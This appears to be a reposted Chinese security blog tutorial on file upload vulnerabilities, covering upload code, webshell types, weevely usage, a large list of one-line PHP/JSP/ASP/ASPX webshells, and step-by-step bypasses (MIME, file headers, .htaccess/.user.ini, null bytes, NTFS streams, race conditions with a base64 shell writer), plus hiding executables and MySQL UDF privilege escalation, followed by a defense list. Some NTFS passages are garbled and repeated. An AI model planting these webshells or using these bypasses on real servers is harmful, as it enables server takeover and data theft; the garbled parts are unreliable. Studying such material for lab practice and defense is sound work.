文件上传漏洞

目录

什么是文件上传漏洞?

 文件上传漏洞常见场景

 文件上传代码实现

文件上传漏洞原理

webshell

大马介绍:

小马介绍:

一句话木马介绍:

木马的生成方式

weevely生成木马

一句话木马大全

一句话木马插入后的使用方式

文件上传bypass

1.前端绕过

2.检查扩展名

3.MIME绕过

4.文件头绕过

5.限制Web Server对特定类型文件的行为

6.00截断

7.windows NTFS文件系统特性绕过

8.二次渲染绕过

9.条件竞争

10.其他绕过

文件上传漏洞的防御


什么是文件上传漏洞及其危害

文件上传漏洞是指在Web应用程序中,由于开发人员对用户上传文件的功能设计和实现不够严谨,导致攻击者能够上传恶意文件(如Webshell、木马等)到服务器,进而可能获取服务器的控制权或者进行其他非法操作的安全漏洞。

具体表现形式包括但不限于:

  1. 文件类型检查不足:攻击者可通过修改文件扩展名或MIME类型,上传非预期类型的文件,如将PHP脚本伪装成图片文件。
  2. 文件内容验证缺失:即使上传文件的扩展名正确,服务器也应进一步检查文件内容,确认其实际格式与声称的格式相符。
  3. 上传目录权限过高:上传文件的存储目录具有执行脚本的权限,攻击者上传的恶意脚本可以直接在服务器上执行。
  4. 目录遍历攻击:攻击者可能通过文件上传功能,利用目录遍历漏洞上传文件到任意目录,或者覆盖重要系统文件。

 文件上传漏洞常见场景

  1. 用户个人资料更新

    • 用户上传头像或个人照片,用于个人主页展示或身份验证。
    • 用户上传身份证、营业执照等证件照片,用于账户实名认证。
  2. 社交媒体分享

    • 在社交平台上发布照片、视频等内容,例如朋友圈、微博、Instagram等。
  3. 内容管理系统

    • 博客或CMS系统中上传文章配图、附件或其他多媒体资源。
  4. 电子商务平台

    • 商品图片上传,商家上传产品详情图片、用户评价时上传实物照片等。
  5. 文件存储服务

    • 网盘服务,用户上传各种类型的文件以进行云端存储和分享。
    • 电子邮件系统中作为附件发送文件。
  6. 办公协作工具

    • 在线文档协作工具中上传文档、表格、PPT等进行团队协作。
    • 版本控制系统中上传代码或项目文件。
  7. 大数据处理

    • 大型企业内部系统,上传大量数据文件进行分析或备份,如日志文件、数据库导出文件等。
  8. 多媒体服务

    • 视频网站上传视频内容,音乐网站上传音频文件。
  9. 在线教育平台

    • 教师上传课程资料,学生提交作业或项目文件。
  10. 大文件传输

    • 使用专门的大文件传输工具或服务,如镭速传输,在不同地点之间定期或一次性传输大量数据。

 


文件上传代码实现

文件上传的代码实现会涉及到前端和后端两个部分,下面分别给出简单的示例:

前端(HTML + JavaScript):

html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Upload</title>
</head>
<body>
    <input type="file" id="fileInput" />
    <button onclick="uploadFile()">Upload</button>

    <script>
        function uploadFile() {
            var input = document.getElementById('fileInput');
            var file = input.files[0];
            var formData = new FormData();
            formData.append('file', file);

            var xhr = new XMLHttpRequest();
            xhr.open('POST', '/upload', true);
            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    alert('File uploaded successfully.');
                }
            };
            xhr.send(formData);
        }
    </script>
</body>
</html>

后端(Node.js + Express + Multer):

const express = require('express');
const multer  = require('multer');

const app = express();

// Set up multer for handling file uploads
const storage = multer.diskStorage({
  destination: function (req, file, cb) {
    cb(null, 'uploads/')
  },
  filename: function (req, file, cb) {
    cb(null, file.fieldname + '-' + Date.now())
  }
})

const upload = multer({ storage: storage })

app.post('/upload', upload.single('file'), (req, res, next) => {
  try {
    // req.file is the `file` field of the form
    // req.body will hold the text fields, if there were any
    console.log(req.file);
    res.send('File uploaded successfully.');
  } catch (err) {
    next(err);
  }
});

app.listen(3000, () => console.log('Server started on port 3000'));

上述代码中,前端部分通过HTML创建了一个文件输入控件,并在用户点击上传按钮时,通过JavaScript将选择的文件发送到服务器。后端部分使用了Express框架和Multer中间件处理文件上传请求,将接收到的文件保存在服务器的'uploads/'目录下。

这只是一个基础的文件上传实现,实际应用中还需要考虑更多因素,如文件类型、大小限制、错误处理等。


文件上传漏洞原理

文件上传漏洞的原理在于Web应用程序对用户提交的文件内容和格式缺乏严格的验证和控制。在Web开发过程中,当开发者提供文件上传功能时(例如让用户上传图片、文档或其他类型的文件),如果没有正确地实施安全措施,攻击者就可以利用这个功能上传恶意文件,而不是合法的文件。

具体步骤如下:

  1. 绕过验证

    • 文件扩展名欺骗:攻击者可能会更改文件的真实扩展名,使得恶意脚本(如PHP、ASP、JSP等)看起来像是无害的图片文件(例如,.jpg.png)。
    • MIME类型伪造:通过修改HTTP请求中的Content-Type头信息,使服务器误判文件类型。
    • 内容混淆:对于某些格式的文件,如Office文档,攻击者可能在其中嵌入可执行脚本,服务器如果不做深度检查则无法发现。
  2. 上传恶意文件

    • +如果服务器仅依赖客户端验证(如JavaScript),攻击者可以通过禁用或修改客户端脚本来轻易绕过。
    • 当服务器端没有对上传文件的内容、扩展名以及mime类型进行有效验证和过滤时,攻击者可以上传Webshell或者其他恶意脚本文件。
  3. 执行恶意代码

    • 一旦恶意文件成功上传并存储在服务器的某个有执行权限的目录下,攻击者可以通过访问上传的恶意脚本URL来执行它。
    • Webshell是一个可以由攻击者远程操控的服务器端脚本,它提供了执行任意命令的能力,从而使攻击者能够完全控制受影响的Web服务器。

webshell

Webshell是一种用于控制和管理系统服务器的恶意脚本程序,通常由攻击者上传至目标服务器上的Web目录,允许攻击者通过Web接口执行服务器系统的命令和操作。这种工具主要存在于以ASP、PHP、JSP、CGI等动态网页脚本语言编写的文件中,由于它们能被Web服务器解析执行,因此可以利用这些脚本语言内置的功能执行系统命令、读写文件、甚至进一步渗透整个网络结构。

Webshell的特点包括:

  1. 隐蔽性:由于Webshell通常伪装成正常的网页文件,不易被服务器管理者察觉,同时它并不直接穿透防火墙,而是通过标准的HTTP/HTTPS协议交互,所以能在Web服务器日志中隐匿行踪。
  2. 灵活性:攻击者可以通过浏览器或者任何能发起HTTP请求的工具来远程控制服务器,进行诸如搜集敏感信息、篡改网页内容、植入其他恶意软件等操作。
  3. 多功能性:根据复杂程度不同,Webshell可分为“小马”和“大马”。小马体积小巧,功能有限,常用于初步渗透后上传更大功能的Webshell(即大马)。大马则拥有更丰富的功能,如文件管理、数据库操作、密码嗅探等。

大马介绍:

在网络安全领域,尤其是在讨论Web安全时,术语“大马”是指功能相对完整、功能强大的Webshell。Webshell是一种后门程序,它被设计成可以在Web服务器环境下运行,并允许攻击者通过Web接口对服务器进行远程控制。大马通常是由ASP、PHP、JSP、ASP.NET等服务器端脚本语言编写的,能够提供更为复杂的操作能力,包括但不限于以下几个方面:

  1. 文件管理:允许攻击者上传、下载、删除、重命名服务器上的任意文件。
  2. 系统命令执行:攻击者可以通过大马来执行服务器上的任意系统命令,获取系统信息,进行提权操作。
  3. 数据库操作:如果服务器上有数据库连接,大马还可能允许攻击者查看、修改、删除数据库内容。
  4. 信息收集:快速收集服务器及网络环境的敏感信息,如用户名、密码、配置文件等。
  5. 持久化机制:大马可能具备自动恢复或隐藏自身的能力,即使管理员发现了并尝试删除,也可能在特定条件下重新激活。
  6. 端口扫描和其他攻击:一些高级的大马还可以用来扫描其他主机或执行其他类型的攻击。

小马介绍:

在网络安全语境下,“小马”(或称“小马程序”,Mini Shell)通常指一类体积小、功能相对简单的后门程序。与大马(Webshell)类似,小马的主要目的是让攻击者能够在未经授权的情况下获得对目标计算机或网络设备的远程控制权。

小马程序的特点和功能可能包括:

  1. 隐蔽性:小马往往体积小巧,容易伪装,可以嵌入到合法程序中或者通过社会工程学手段诱使用户下载安装,从而绕过常规的安全检测。

  2. 基本控制功能:虽然不如大马那么强大,但小马也能实现基础的远程控制功能,比如开启一个反向连接通道,使得攻击者可以从自己的计算机上控制感染了小马的目标系统。

  3. 键盘记录:很多小马具备键盘记录功能,用于窃取用户的账号密码和其他敏感信息。

  4. 系统信息获取:能够收集受害者的系统信息,如操作系统版本、IP地址、已安装软件等。

  5. 下载并执行其他恶意软件:小马有时会被用作载荷投放平台,进一步下载并执行更复杂、更具破坏性的恶意软件。

一句话木马介绍:

一句话木马(One-Liner Backdoor or One-Line Shell)是一种非常简洁的、通常仅包含一行代码的恶意脚本,它被设计得足够小巧且隐蔽,以至于可以在目标网站的源码中插入而不易被发现。一句话木马主要用于远程控制和管理被入侵的Web服务器,攻击者通过触发这句话木马,可以执行任意PHP、ASP、JSP等服务器端脚本语言提供的命令,进而实现对服务器的控制。

一句话木马的工作原理大致如下:

  • 攻击者找到Web应用程序的漏洞,如文件包含漏洞、代码注入漏洞等,通过这些漏洞将一句精心构造的代码上传或插入到Web服务器上的某处可执行脚本中。
  • 这句代码通常是调用服务器端脚本语言的一个函数或方法,该函数或方法能够接收并执行来自远程控制端传来的指令。
  • 控制端通过发送特定格式的数据给一句话木马所在的URL,服务器在处理这个请求时就会执行预设好的那一行代码,进而执行控制端传来的任意命令。

木马的生成方式

weevely生成木马

weevely是kali自带的一个php后门木马生成工具,它不仅可以实现生成php木马,而且还可以实现连接功能。

weevely的基本使用:

1.基本木马(一般生成木马为大马)生成指令 : weevely generate <用于连接的密码> <文件名>

例如:weevely generate cmd shell.php  --就生成了一个名为shell.php的木马,cmd即为连接时的密码。

2.木马使用

首先我们要先在一个找到一个存在文件上传漏洞的网站,然后上传这个文件,成功上传之后,我们就用weevely工具进行连接进行getshell的过程,不过我们必须知道我们该文件上传的路径,如下:

weevely http://www.target.com/uplaods/shell.php cmd

/upload/shell.php 即为该文件上传的路径,cmd 即为我们之前设置的密码。

如果步骤都没有问题的话,我们就成功地getshell了

当然不止于此还有很多生成木马的工具

比如EvilOSX、Cerberus、Empire/StickyKeys - Empire、Veil-Evasion、Cobalt Strike、Metasploit Framework (MSFVenom) - MSFVenom、Phobos

大概陈述一下就好了

  1. Phobos - 这是一款红队专用的免杀木马生成器,允许用户自定义生成木马的名称和图标,以规避基于签名的检测。

  2. Metasploit Framework (MSFVenom) - MSFVenom是Metasploit框架的一部分,常用于生成携带不同后门载荷的木马文件,并且可以根据需要改变文件名和编码方式,从而实现免杀效果。

  3. Cobalt Strike - 这是一个高级的渗透测试工具,其中包含Beacon payload生成器,可以定制化生成各种形式的后门木马,并且可以灵活地指定文件名和扩展名以提高隐蔽性。

  4. Veil-Evasion - 另一款流行的渗透测试工具,其功能之一是可以生成多形态的、对抗反病毒软件的Payload,支持自定义文件名和混淆程度。

  5. Empire/StickyKeys - Empire项目(现已更名为Empire32/EmPyre)提供了Payload生成能力,StickyKeys就是一个例子,它可以生成伪装成合法Windows系统的组件的后门,文件名可根据需求变化。

  6. EvilOSX、Cerberus等针对不同操作系统的木马制作工具,也可以生成具有随机或指定文件名的恶意软件。

一句话木马大全

#php

##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(“1″)):response.end%> 备份专用

#jsp

##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客户端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

#asp

##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话 

#aspx

##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用双引号的一句话。

一句话木马插入后的使用方式

1.我们上传一句话木马文件为1.php,我们在该网站上输出该文件的上传路径来访问该文件,

假如我们一句话木马的内容为<? @eval($_POST[cmd]); ?>

访问到后使用hackbar进行post传参来传入我们要执行的指令,eg:cmd=system('ls')  --此处就要涉及到远程命令执行了

2.使用蚁剑工具直接连接

基础使用:

URL地址栏就是我们上传的木马文件的URL地址,而连接密码就是一句话木马中对应的cmd参数

然后测试连接,如果显示连接成功,就可以进行添加,访问到该web目录的文件


文件上传bypass

我们此处就以最简单的一句话木马(<?php @eval($_POST[cmd]); ?>)为例

1.前端绕过

首先我们先创建一个1.jpg,以记事本打开,写入上述一句话木马

实际就是bp抓包后,修改文件名

把上述1.jpg改为1.php,然后发包就可以

2.检查扩展名

一般情况下,系统对文件名进行了限制处理,分别是白名单限制、黑名单限制

白名单:只允许哪些格式文件上传

黑名单:不允许上传哪些格式文件,总的来说,白名单比黑名单更难绕过

这种情况下,我们可以创建一个1.xxx文件进行上传,如果允许上传,那么就一定是黑名单限制,否则就是白名单限制

3.MIME绕过

绕过MIME其实就是修改content-type头

此时是直接上传1.php文件,然后将上述的橙色部分换为image/jpg、image/png、image/gif等允许上传的即可绕过

4.文件头绕过

这就要涉及到文件内部了,当我们以记事本打开某个图片文件时,会发现相同格式的文件的开头字符是一致的,对于此限制,我们可以在之前一句话木马的基础上,在开头加上特定的文件头,常见文件头如下:

格式                                               文件头
TIFF (tif)                                         49492A00
Windows Bitmap (bmp)                 424D
CAD (dwg)                                     41433130
Adobe Photoshop (psd)                 38425053
JPEG (jpg)                                     FFD8FF
PNG (png)                                     89504E47
GIF (gif)                                         47494638
XML (xml)                                      3C3F786D6C
HTML (html)                                  68746D6C3E
MS Word/Excel (xls.or.doc)           D0CF11E0
MS Access (mdb)                          5374616E64617264204A
ZIP Archive (zip),                        504B0304
RAR Archive (rar),                      52617221
Wave (wav),                                57415645
AVI (avi),                                     41564920
Adobe Acrobat (pdf),                  255044462D312E

修改文件至上述形式,再上传即可

5.限制Web Server对特定类型文件的行为

文件上传漏洞的本质其实是,服务器执行我们上传"图片"中的代码

我们可以上传特定的配置文件来对服务器的配置进行修改

比如上传.user.ini文件以及a.htaccess文件

当服务器在执行代码之前,服务器会提前检测是否存在此类配置文件,当有时服务器会根据该类配置文件对服务器自身的配置进行添加或者修改

对应文件内容如下

#.user.ini#
GIF89a
auto_prepend_file=1.jpg

 .user.ini文件作用:PHP解释器将会尝试在执行每个PHP脚本之前,自动包含名为“1.jpg”的文件作为脚本的开头部分。然而,按照常规理解,.jpg 是一种图像文件格式,不应该包含可执行的PHP代码,但是该文件可能会试图将一个原本应该是图像文件的内容篡改为PHP代码,并将其命名为 .jpg 后缀,然后通过配置 .user.ini 文件使得PHP引擎误认为这是个应该预处理的文件,从而执行其中的PHP代码。

#a.htaccess#
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件解释:在.htaccess文件中,这段配置代码的作用是告诉Apache服务器,当请求的文件名匹到"1.jpg"时,不应按常规的静态JPEG图像文件处理,而是应该当作PHP脚本来处理。具体地说这意味着,如果网站中有名为"1.jpg"的文件,尽管从文件扩展名上看它是图像文件,但经过这段配置后,服务器会把对该文件的请求转交给PHP解析器去执行。这种配置在正常情况下很少见,但如果被恶意利用,可能成为安全漏洞的一部分,比如攻击者上传了一个名为"1.jpg"但实际上包含PHP代码的文件,然后通过此种方式使之得以执行。

 在上述配置的文件的基础上,我们就可以上传一个与上述代码中对应的1.jpg文件(包含一句话木马)

6.00截断

常见使用场景:asp、php<5.3.4并且magic_quotes_gpc关闭、jsp

种类:0x00(16制编码)截断,%00(url编码)截断

原理:0x00或者%00在不同的环境下都会被解析为chr(0)函数,该函数返回值就是NILL(空字符),而当一个字符串中出现空字符时,该空字符及其以后得内容都会被丢弃。

那实际过程中空字符如何插入呢?首先我们在要插入的文件名中插入一个空格(十六进制编码为20),然后再通过hex十六进制编码后的结果中查找20,并将其替换为00,此时我们成功插入了空字符

实例:

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。

7.windows NTFS文件系统特性绕过

NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的新特性,见漏洞详细可查CVE-1999-0278。

1.一个完整的流的格式为:::
2.文件主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
3.修改宿主文件的内容或流的内容,不会对彼此造成影响。
4.流类型总是以 符 号 作 为 开 始 , N T F S 文 件 系 统 中 的 文 件 至 少 包 含 一 个 主 流 , 也  就是 d a t a 流 ( 符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流( 符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流(DATA),默认流名为空。
5.ADS可以省略流名,但不能省略流类型。
6.NTFS文件系统中0的文件夹没有data流,但可以指派data流,文件夹的主流为directory流( INDEXALLOCATION),流 名 默 认 为 INDEX_ALLOCATION),流名默认为 INDEXA​LLOCATION),流名默认为I30

当我们对一个在NTFS分区中的ASP文件发出包含 D A T A 请 求 , I I S 会 检 查 最 后 一 个 “ . ” 后 面 的 扩 展 名 , 因 为 多 了 : : DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了:: DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了::DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

绕过方法

   1. IIS目录访问权限绕过:在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

   2.上传绕过黑名单:在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

上传的文件名                                    服务器表面现象        生成的文件内容
Test.php:a.jpg                                   生成Test.php             空
Test.php::$DATA                               生成test.php              <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION    生成test.php文件夹    
Test.php::$DATA\0.jpg                      生成0.jpg                   <?php phpinfo();?>
Test.php::$DATA\aaa.jpg                  生成aaa.jpg               <?php phpinfo();?>

    注意:
    对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp而将.jpg识别为流名。
    通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
    然后修改上传的文件名为test.>>>或者test.<、test.<<<、test.>><再上传,会重写test.php。原因是在PHP+IIS的环境下," 同义. >同义? <同义*

   3. 隐藏webshell:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
    这样生成了一个不可见的shell hidden.jpg,type dir del命令都不行。利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句话。

    4.mysql中的udf提权:

    如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
    而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句

show variables like '%plugin%';

查看目录位置。
利用ADS依次创建lib、plugin目录

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

    null表示限制mysqld不允许导入导出
    当secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下
    当secure_file_priv的值为空,表示不对mysqld的导入导出做限制

   5. 隐藏exe文件

type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然后执行start test.exe /b即可


更新一个方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

    在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

查看隐藏流文件

    使用这两款小工具配合进行检测和清除寄生的交换数据流
    https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
    labs.exe检测,streams.exe进行清理。
    还有一个叫做AlternateStreamView的工具也可以

8.二次渲染绕过

渲染介绍:

当我们上传文件的时候,服务器会对该文件图像的内容进行修改,但是不会影响原图像,所以当我们上传的图片中含有一句话木马时,该木马可能因为图片渲染的原因而被更改.

绕过姿势:

一般而言,图片渲染是对部分图片内容进行渲染,而有一部分特定的文件内容会被保留,我们就利用特定的被保留的部分,而且该渲染对同一图片文件的渲染结果是一致的,此时推荐一个010editor工具,此工具可用于比较两文件内容,同时对内容进行修改,此时只需要把源文件和渲染后的文件进行对比,修改两文件相同的部分,把一句话木马替换原图片文件中相同部分,此时在上传修改后的原图片文件即可。

9.条件竞争

为什么使用条件竞争?

当我们上传一个文件后,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。然而我们就可以抓住在删除前执行我们一句话木马,这个过程就叫条件竞争。

条件实现:利用bp抓包,进行爆破模块多线程实现

实例:以upload靶场18关为例

首先我们先上传一个文件x.php并抓包,文件内容如下,其作用就是写入一个shell.php文件

<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>

将抓到的包提交到爆破模块,点击右侧的清除按钮,删除参数如下

设置载荷为没有负载,并且无期限地重复,线程就正常就行了

代理把刚刚抓到的包放了之后,就重新访问,我们上传的x.php的路径

此处靶场上传的目录就/upload-labs-master/upload/x.php

我们修改URL,访问该路径并抓包,发送到爆破模块,负载和上述设置一样,但是要修改为较大线程,此处就写20吧,条件竞争并不是绝对成功,线程大一点点,成功率可能也大一点

然后按上述顺序依次发送攻击

然后时刻关注上传目录,看是否生成了shell.php,生成后就蚁剑连接即可

10.其他绕过

还有其他绕过如下,

1.文件格式php3、php5等绕过

2.大写绕过,Php

3.双写绕过,phphpp,适用于将特殊文件格式替换为空时

4.空格/点绕过,Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个'1.php '、'1.php.'文件即可。

5.点空格点绕过,也是windows环境下,'1.php. .'会因为特性自动保存为'1.php'。

6./.绕过:1.php/.


文件上传漏洞的防御

文件上传漏洞的防御需要采取多层次、全方位的安全策略,下面是一些建议的防御措施:

1. **严格的文件类型检查**:
   - 设置允许上传文件类型的白名单,只允许上传特定格式的文件,如只允许上传图片文件(.jpg、.png等),拒绝上传可执行文件(.php、.aspx、.jsp等)。
   - 不仅检查文件扩展名,还要通过检查文件的二进制头部标志(Magic Number)或MIME类型来确定文件的真实类型。

2. **文件内容检查**:
   - 对上传的文件内容进行深入分析,使用安全工具扫描文件以检测是否存在恶意代码,例如对图片文件进行深度解析,确保其内部不包含可执行脚本。
   - 对于文本文件,可以使用关键词过滤、模式匹配等技术检测可能的危险代码片段。

3. **文件重命名和存储位置控制**:
   - 上传的文件应存储在特定的、不可执行的目录下,并且对上传的文件名进行随机重命名,避免预测和直接访问。
   - 确保Web服务器配置不解析这些目录中的文件为脚本。

4. **文件权限控制**:
   - 上传的文件应赋予只读权限,确保攻击者即使上传了恶意文件也无法在服务器上执行。

5. **大小限制**:
   - 根据业务需求,设置合理的文件上传大小限制,防止大文件耗尽服务器资源或绕过检测。

6. **二次渲染或转换**:
   - 对于图片等可渲染的文件,上传后可以进行一次强制转换或渲染操作,如压缩、缩略图生成等,以降低恶意代码执行的风险。

7. **使用安全组件和中间件**:
   - 应用成熟的文件上传组件或中间件,这些组件通常已经考虑到多种安全问题,并进行了相应的防护。

8. **入侵检测和预防系统**:
   - 配置入侵检测系统(IDS)和防火墙规则,监测可疑文件上传行为。

9. **持续监控和审计**:
   - 定期审查服务器上的文件变更记录,对上传的文件进行安全审计,及时发现和清理潜在的恶意文件。

10. **安全编码和开发规范**:
    - 开发人员在编写代码时应遵循安全编程准则,例如避免使用用户可控的变量直接拼接到文件路径中,确保所有用户输入都要经过严格的验证和过滤。

综合运用上述措施可以显著降低文件上传漏洞带来的风险,但要注意随着攻击手段的不断发展,也需要持续关注新的攻击技术和防御策略。

文件上传漏洞还可以配合其他漏洞,造成更大的不好后果!!!

在此祝大家学习顺利!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/425529.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

4. LockSupport与线程中断

文章目录 引言LockSupport线程中断机制什么是中断机制?说说一下 java.lang.Thread 类下的三个方法的区别 线程中断机制中断机制相关 API 三个方法的说明public void interrupt()public static boolean interrupted()public boolean isInterrupted() 经典面试题中的中断机制考点…

【k8s 访问控制--认证与鉴权】

1、身份认证与权限 前面我们在操作k8s的所有请求都是通过https的方式进行请求&#xff0c;通过REST协议操作我们的k8s接口&#xff0c;所以在k8s中有一套认证和鉴权的资源。 Kubenetes中提供了良好的多租户认证管理机制&#xff0c;如RBAC、ServiceAccount还有各种策路等。通…

Linux学习:初始Linux

目录 1. 引子&#xff1a;1.1 简述&#xff1a;操作系统1.2 学习工具 2. Linux操作系统中的一些基础概念与指令2.1 简单指令2.2 ls指令与文件2.3 cd指令与目录2.4 文件目录的新建与删除指令2.5 补充指令1&#xff1a;2.6 文件编辑与拷贝剪切2.7 文件的查看2.8 时间相关指令2.9 …

基于C语言实现内存型数据库(kv存储)

基于C语言实现内存型数据库(kv存储) 文章目录 基于C语言实现内存型数据库(kv存储)1. 项目背景1.1 Redis介绍1.2 项目预期及基本架构 2. 服务端原理及代码框架2.1 网络数据回环的实现2.2 array的实现2.3 rbtree的实现2.4 btree的实现2.5 hash的实现2.6 dhash的实现2.7 skiplist的…

Python并发编程:多线程-信号量,Event,定时器

一 信号量 信号量也是一把锁&#xff0c;可以指定信号量为5&#xff0c;对比互斥锁同一时间只能有一个任务抢到锁去执行&#xff0c;信号量同一时间可以有5个任务拿到锁去执行&#xff0c;如果说互斥锁是合租房屋的人去抢一个厕所&#xff0c;那么信号量就相当于一群路人争抢公…

蓝桥杯倒计时 41天 - 二分答案-最大通过数-妮妮的月饼工厂

最大通过数 思路&#xff1a;假设左边能通过 x 关&#xff0c;右边能通过 y 关&#xff0c;x∈[0,n]&#xff0c;通过二分&#xff0c;在前缀和中枚举右边通过的关卡数&#xff0c;保存 xy 的最大值。 #include<bits/stdc.h> using namespace std; typedef long long ll…

Windows下用crashRpt让C++程序崩溃自动生成dump

